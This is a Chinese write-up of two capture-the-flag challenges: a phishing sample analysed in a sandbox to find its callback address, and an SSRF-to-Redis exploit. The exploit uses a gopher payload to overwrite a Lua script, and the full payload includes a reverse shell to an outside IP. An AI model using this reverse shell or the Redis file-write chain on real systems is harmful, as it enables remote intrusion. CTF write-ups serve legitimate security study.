2025软件安全攻防赛部分WriteUp

钓鱼邮件

邮件显示24岁生日快乐,发送日期为2024年11月11日

image-20250105181704304

压缩包带密码,猜测是生日,所以是20001111

解压后给奇安信情报沙箱分析

image-20250105181745404

222.218.218.218:55555

image-20250105181813382

CachedVisitor

ssrf + redis,可通过gopher协议写文件

main.lua中

local function read_file(filename)
    local file = io.open(filename, "r")
    if not file then
        print("Error: Could not open file " .. filename)
        return nil
    end

    local content = file:read("*a")
    file:close()
    return content
end

local function execute_lua_code(script_content)
    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
    if lua_code then
        local chunk, err = load(lua_code)
        if chunk then
            local success, result = pcall(chunk)
            if not success then
                print("Error executing Lua code: ", result)
            end
        else
            print("Error loading Lua code: ", err)
        end
    else
        print("Error: No valid Lua code block found.")
    end
end

local function main()
    local filename = "/scripts/visit.script"
    local script_content = read_file(filename)
    if script_content then
        execute_lua_code(script_content)
    end
end

main()

读取了/scripts/visit.script文件并执行了该文件中的lua代码

那么可以通过gopher协议覆盖/scripts/visit.script文件,写入lua代码去反弹shell

lua代码

##LUA_START##os.execute("/bin/bash -c 'sh -i %26>/dev/tcp/120.24.186.57/1234 0>%261'")##LUA_END##

构造payload

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24101%0D%0A%0A%0A%23%23LUA_START%23%23os.execute%28%22/bin/bash%20-c%20%27sh%20-i%20%26%3E/dev/tcp/120.24.186.57/1234%200%3E%261%27%22%29%23%23LUA_END%23%23%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A/scripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2412%0D%0Avisit.script%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

image-20250105232105649

通过burpsuite发包

image-20250105232126162

获取shell

image-20250105231825200

image-20250105231920236

0%